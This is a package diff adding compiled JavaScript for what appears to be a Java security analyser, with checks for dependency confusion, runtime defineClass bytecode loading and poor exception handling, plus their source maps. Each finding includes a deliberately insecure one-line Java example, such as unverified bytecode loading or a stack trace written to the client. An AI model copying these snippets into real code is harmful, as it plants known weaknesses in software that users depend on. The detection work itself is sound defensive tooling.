+        // Only flag generic internal package names, not specific company names
+        if ((lowerLine.includes('<groupid>') || lowerLine.includes('groupid') || lowerLine.includes('implementation(')) &&
+            (lowerLine.includes('.internal') || lowerLine.includes('company.internal') ||
+                lowerLine.match(/^internal:/) ||
+                // Match standalone "internal" or "private" words (not part of longer names)
+                lowerLine.match(/\binternal\b/) || lowerLine.match(/\bprivate\b/))) {
+            // Exclude specific company names with verification keywords
+            const hasSpecificCompany = trimmedLine.match(/\b(yourcompany|mycompany|verified)\b/i);
+            // Check if there's proper repository configuration nearby
+            const contextLines = lines.slice(Math.max(0, index - 10), Math.min(index + 10, lines.length));
+            const hasPrivateRepo = contextLines.some(line => {
+                const lowerCtx = line.toLowerCase();
+                return (lowerCtx.includes('<repository>') && lowerCtx.includes('private')) ||
+                    lowerCtx.includes('maven { url') && lowerCtx.includes('internal');
+            });
+            if (!hasPrivateRepo && !hasSpecificCompany) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('dependency-confusion', 'Dependency confusion risk: internal package without private repository configuration', 'Configure private repository with proper authentication and scope', index + 1, 'Internal package names without private repositories can be exploited through dependency confusion attacks', '<groupId>com.company.internal</groupId> // no private repo configured', [
+                    'Dependency substitution attacks from public repositories',
+                    'Installation of malicious packages with similar names',
+                    'Supply chain compromise through package confusion',
+                    'Unauthorized code execution and data theft'
+                ], '<dependency>\n    <groupId>com.company.internal</groupId>', '<!-- Configure private repository -->\n<repository>\n    <id>company-private</id>\n    <url>https://private.company.com/maven2</url>\n</repository>', 'Internal dependencies must be resolved from authenticated private repositories to prevent confusion attacks'));
+            }
+        }
+        // Check #6: Runtime bytecode loading - NEW OWASP 2025
+        if (lowerLine.includes('defineclass(') ||
+            (lowerLine.includes('unsafe') && lowerLine.includes('defineclass')) ||
+            (lowerLine.includes('methodhandles.lookup') && lowerLine.includes('defineclass'))) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('runtime-bytecode-loading', 'Runtime bytecode loading detected - potential code injection vector', 'Avoid runtime bytecode generation or implement strict validation and signing', index + 1, 'Loading bytecode at runtime bypasses normal security controls and can introduce malicious code', 'defineClass(null, bytecode, 0, bytecode.length); // arbitrary bytecode execution', [
+                'Arbitrary code execution from untrusted bytecode',
+                'Bypass of static analysis and security scanning',
+                'Supply chain attacks through code generation',
+                'Complete application and system compromise'
+            ], 'return defineClass(null, bytecode, 0, bytecode.length);', '// Validate bytecode signatures before loading\n// Or use standard class loading mechanisms instead', 'Runtime bytecode loading should be avoided or bytecode should be cryptographically verified'));
+        }
+    });
+    return vulnerabilities;
+}
+//# sourceMappingURL=enhanced-supply-chain.js.map

package/dist/src/lib/analyzers/java/security-checks/enhanced-supply-chain.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"enhanced-supply-chain.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/enhanced-supply-chain.ts"],"names":[],"mappings":"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"}

package/dist/src/lib/analyzers/java/security-checks/exception-handling.d.ts

@@ -0,0 +1,25 @@
+/**
+ * Java Exception Handling Security Checks
+ * OWASP A10:2025 - Mishandling of Exceptional Conditions
+ *
+ * Detects improper exception handling that can lead to security vulnerabilities.
+ * This is a completely NEW category in OWASP 2025.
+ */
+import { SecurityVulnerability } from '../../types';
+/**
+ * Checks for exception handling security vulnerabilities in Java code
+ *
+ * Covers:
+ * - Check #1: Empty catch blocks (MEDIUM)
+ * - Check #2: Broad exception catching (HIGH)
+ * - Check #3: Exception details exposed in responses (HIGH)
+ * - Check #4: Resource leaks in exception scenarios (MEDIUM)
+ * - Check #5: Improper exception propagation (MEDIUM)
+ * - Check #6: printStackTrace() usage (HIGH) - NEW OWASP 2025
+ * - Check #7: Swallowing InterruptedException (MEDIUM) - NEW OWASP 2025
+ *
+ * @param lines - Array of code lines
+ * @returns Array of security vulnerabilities found
+ */
+export declare function checkExceptionHandling(lines: string[]): SecurityVulnerability[];
+//# sourceMappingURL=exception-handling.d.ts.map

package/dist/src/lib/analyzers/java/security-checks/exception-handling.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"exception-handling.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/exception-handling.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AAGpD;;;;;;;;;;;;;;GAcG;AACH,wBAAgB,sBAAsB,CACpC,KAAK,EAAE,MAAM,EAAE,GACd,qBAAqB,EAAE,CAmQzB"}

package/dist/src/lib/analyzers/java/security-checks/exception-handling.js

@@ -0,0 +1,179 @@
+"use strict";
+/**
+ * Java Exception Handling Security Checks
+ * OWASP A10:2025 - Mishandling of Exceptional Conditions
+ *
+ * Detects improper exception handling that can lead to security vulnerabilities.
+ * This is a completely NEW category in OWASP 2025.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.checkExceptionHandling = checkExceptionHandling;
+const createVulnerability_1 = require("../utils/createVulnerability");
+/**
+ * Checks for exception handling security vulnerabilities in Java code
+ *
+ * Covers:
+ * - Check #1: Empty catch blocks (MEDIUM)
+ * - Check #2: Broad exception catching (HIGH)
+ * - Check #3: Exception details exposed in responses (HIGH)
+ * - Check #4: Resource leaks in exception scenarios (MEDIUM)
+ * - Check #5: Improper exception propagation (MEDIUM)
+ * - Check #6: printStackTrace() usage (HIGH) - NEW OWASP 2025
+ * - Check #7: Swallowing InterruptedException (MEDIUM) - NEW OWASP 2025
+ *
+ * @param lines - Array of code lines
+ * @returns Array of security vulnerabilities found
+ */
+function checkExceptionHandling(lines) {
+    const vulnerabilities = [];
+    let inMultiLineComment = false;
+    lines.forEach((line, index) => {
+        const trimmedLine = line.trim();
+        // CRITICAL: Track multi-line comment blocks (/* ... */)
+        if (trimmedLine.includes('/*')) {
+            inMultiLineComment = true;
+        }
+        if (trimmedLine.includes('*/')) {
+            inMultiLineComment = false;
+            return; // Skip the line with */
+        }
+        // CRITICAL: Skip all lines inside multi-line comments and single-line comments
+        // FIX (Dec 6, 2025): Removed trimmedLine.startsWith('*') check
+        // Reason: Lines in multi-line comments can start with '-', text, etc. (not just '*')
+        // Example: "- Empty catch blocks: catch (Exception e) {}" was being detected
+        // Solution: Rely on inMultiLineComment flag only
+        if (!trimmedLine ||
+            inMultiLineComment ||
+            trimmedLine.startsWith('//')) {
+            return;
+        }
+        const lowerLine = trimmedLine.toLowerCase();
+        // Check #1: Empty catch blocks
+        if (lowerLine.includes('catch') &&
+            (lowerLine.includes('{}') ||
+                // Check if the only non-empty line after catch is the closing brace
+                (() => {
+                    const nextLines = lines.slice(index + 1, Math.min(index + 5, lines.length));
+                    const nonEmptyLines = nextLines.filter(l => l.trim() && !l.trim().startsWith('//'));
+                    return nonEmptyLines.length === 1 && nonEmptyLines[0].trim() === '}';
+                })())) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('empty-catch-block', 'Empty catch block silently ignores exceptions', 'Add proper exception handling, logging, or re-throw the exception', index + 1, 'Silent exception suppression can hide security vulnerabilities and cause unpredictable application behavior', 'try { riskyOperation(); } catch (Exception e) {} // error completely ignored', [
+                'Security vulnerabilities hidden and undetected',
+                'Application state corruption from ignored errors',
+                'Debugging difficulties and maintenance issues',
+                'Potential for cascading security failures'
+            ], 'catch (Exception e) {}', 'catch (Exception e) { logger.error("Operation failed", e); throw new ServiceException("Operation failed", e); }', 'Empty catch blocks prevent error visibility and can hide security-critical failures'));
+        }
+        // Check #2: Broad exception catching (catching Exception or Throwable)
+        // FIX (Dec 6, 2025): Exclude specific exception types and multi-exception catches
+        // Example good code: catch (SecurityException | ValidationException e) should NOT be flagged
+        // Now checks: exclude if contains '|' (multi-exception) OR specific exception (NameException pattern)
+        if (lowerLine.includes('catch') &&
+            (lowerLine.includes('(exception ') || lowerLine.includes('(throwable ') ||
+                lowerLine.includes('exception e') || lowerLine.includes('throwable t'))) {
+            // Exclude multi-exception catches (e.g., "SecurityException | ValidationException")
+            const isMultiException = trimmedLine.includes('|');
+            // Exclude specific exception types (e.g., SecurityException, ValidationException, IOException)
+            // Pattern: CapitalLetterException (not just "Exception")
+            const isSpecificException = trimmedLine.match(/\b[A-Z][a-zA-Z]*Exception\b/) &&
+                !trimmedLine.match(/\bException\s+[a-z]/) &&
+                !trimmedLine.match(/\bThrowable\s+[a-z]/);
+            if (!isMultiException && !isSpecificException) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('broad-exception-catching', 'Catching broad exception types can mask security-specific exceptions', 'Catch specific exception types instead of Exception or Throwable', index + 1, 'Broad exception catching can mask security-critical exceptions that require specific handling', 'catch (Exception e) { /* handles both SecurityException and IOException the same way */ }', [
+                    'Security exceptions masked by broad catching',
+                    'Authentication and authorization failures hidden',
+                    'Inappropriate error handling for different security contexts',
+                    'Loss of security-specific error information'
+                ], 'catch (Exception e)', 'catch (SecurityException | ValidationException e)', 'Catching broad exception types prevents proper security-specific exception handling'));
+            }
+        }
+        // Check #3: Exception details exposed in HTTP responses
+        if ((lowerLine.includes('response.getwriter') || lowerLine.includes('response.write') ||
+            lowerLine.includes('printwriter') || lowerLine.includes('servletresponse') ||
+            lowerLine.includes('.print')) &&
+            (lowerLine.includes('getmessage()') || lowerLine.includes('getstacktrace()') ||
+                lowerLine.includes('.getstacktrace') || lowerLine.includes('printstacktrace') ||
+                lowerLine.includes('exception'))) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('exception-details-exposed', 'Exception details may be exposed in HTTP responses', 'Log detailed errors server-side, return generic messages to clients', index + 1, 'Exposing exception details reveals sensitive internal application information to attackers', 'response.getWriter().println(e.getStackTrace()); // exposes full stack trace to client', [
+                'Internal application structure exposure',
+                'File paths and classpath information disclosure',
+                'Database connection details revelation',
+                'Third-party library version fingerprinting'
+            ], 'response.getWriter().println(e.getMessage());', 'logger.error("Request processing failed", e); response.sendError(500, "Internal server error");', 'Exception details contain sensitive debugging information that should not be exposed to clients'));
+        }
+        // Check #4: Resource leaks in exception scenarios - missing try-with-resources or finally
+        // FIX (Dec 11, 2025): Skip comments when looking for try-with-resources or finally blocks
+        // Previous bug: Comments containing "finally" or ".close()" prevented detection
+        // FIX (Dec 25, 2025): Added database connection patterns (DriverManager, createStatement)
+        if (((lowerLine.includes('new ') &&
+            (lowerLine.includes('fileinputstream') || lowerLine.includes('fileoutputstream') ||
+                lowerLine.includes('connection') || lowerLine.includes('socket') ||
+                lowerLine.includes('bufferedreader') || lowerLine.includes('bufferedwriter'))) ||
+            // Database connection patterns without 'new'
+            (lowerLine.includes('drivermanager.getconnection') ||
+                lowerLine.includes('datasource.getconnection') ||
+                lowerLine.includes('.createstatement') ||
+                lowerLine.includes('.preparestatement'))) &&
+            !lines.slice(index, Math.min(index + 10, lines.length)).some(nextLine => {
+                const trimmedNext = nextLine.trim();
+                // Skip comments - they shouldn't count as actual cleanup code
+                if (trimmedNext.startsWith('//') || trimmedNext.startsWith('/*') || trimmedNext.startsWith('*')) {
+                    return false;
+                }
+                const lowerNext = nextLine.toLowerCase();
+                return lowerNext.includes('try (') ||
+                    lowerNext.includes('finally {') || // More specific: actual finally block, not just the word
+                    lowerNext.includes('.close()');
+            })) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('resource-leak-exception', 'Resource may not be properly closed in exception scenarios', 'Use try-with-resources statement or ensure cleanup in finally blocks', index + 1, 'Improper resource cleanup during exceptions can lead to resource leaks and denial of service', 'FileInputStream fis = new FileInputStream(file); // no try-with-resources or finally', [
+                'Memory leaks from unclosed resources',
+                'File descriptor exhaustion',
+                'Connection pool depletion',
+                'Denial of service from resource exhaustion'
+            ], 'FileInputStream fis = new FileInputStream(file);', 'try (FileInputStream fis = new FileInputStream(file)) { /* operations */ }', 'Resources opened without guaranteed cleanup can cause leaks when exceptions occur'));
+        }
+        // Check #5: Improper exception propagation - throwing generic exceptions
+        if (lowerLine.includes('throw new exception(') ||
+            lowerLine.includes('throw new runtimeexception(')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('improper-exception-propagation', 'Throwing generic exceptions loses important error context', 'Throw specific exception types that provide meaningful context', index + 1, 'Generic exception throwing can mask the specific nature of security-related errors', 'throw new Exception("Error occurred"); // loses specific security context', [
+                'Loss of security-specific error context',
+                'Difficulty in implementing appropriate error handling',
+                'Reduced ability to detect and respond to security issues',
+                'Poor audit trail for security events'
+            ], 'throw new Exception("Validation failed");', 'throw new SecurityException("Authentication failed", originalCause);', 'Generic exceptions prevent proper security-specific error handling and lose important context'));
+        }
+        // Check #6: printStackTrace() usage (NEW - OWASP 2025)
+        // printStackTrace() outputs to System.err and exposes internal information
+        if (lowerLine.includes('.printstacktrace()')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('printstacktrace-usage', 'printStackTrace() exposes internal application details and should not be used in production', 'Use proper logging framework (SLF4J, Log4j) instead of printStackTrace()', index + 1, 'printStackTrace() outputs full stack traces to System.err, exposing sensitive internal information including class paths, method names, and line numbers that attackers can use for reconnaissance', 'catch (Exception e) { e.printStackTrace(); } // Exposes internal details', [
+                'Internal application structure exposure to attackers',
+                'File paths and classpath information disclosure',
+                'Method and class name fingerprinting',
+                'No centralized logging for security monitoring',
+                'Cannot be disabled in production environments'
+            ], 'e.printStackTrace();', 'logger.error("Operation failed", e);', 'printStackTrace() should never be used in production code - use proper logging frameworks that can be configured and monitored'));
+        }
+        // Check #7: Swallowing InterruptedException (NEW - OWASP 2025)
+        // Catching InterruptedException without restoring interrupted status
+        if (lowerLine.includes('catch') && lowerLine.includes('interruptedexception')) {
+            // Check if the catch block restores interrupt status or re-throws
+            const catchBlockEnd = lines.slice(index + 1, Math.min(index + 10, lines.length));
+            const restoresInterrupt = catchBlockEnd.some(line => {
+                const lowerNext = line.toLowerCase();
+                return lowerNext.includes('thread.currentthread().interrupt()') ||
+                    lowerNext.includes('throw ');
+            });
+            if (!restoresInterrupt) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('swallowed-interrupted-exception', 'InterruptedException caught without restoring thread interrupted status', 'Call Thread.currentThread().interrupt() to restore interrupted status or re-throw the exception', index + 1, 'Swallowing InterruptedException without restoring the interrupted flag prevents proper thread cancellation and can lead to hung threads, resource leaks, and denial of service', 'catch (InterruptedException e) { logger.error("Interrupted", e); } // Lost interrupt status!', [
+                    'Thread cancellation mechanisms broken',
+                    'Application shutdown hangs and timeouts',
+                    'Resource leaks from threads that cannot be stopped',
+                    'Denial of service from thread pool exhaustion',
+                    'Unpredictable application behavior under load'
+                ], 'catch (InterruptedException e) { /* ignore */ }', 'catch (InterruptedException e) { Thread.currentThread().interrupt(); logger.warn("Interrupted", e); }', 'InterruptedException indicates thread cancellation request - always restore interrupted status with Thread.currentThread().interrupt() or re-throw'));
+            }
+        }
+    });
+    return vulnerabilities;
+}
+//# sourceMappingURL=exception-handling.js.map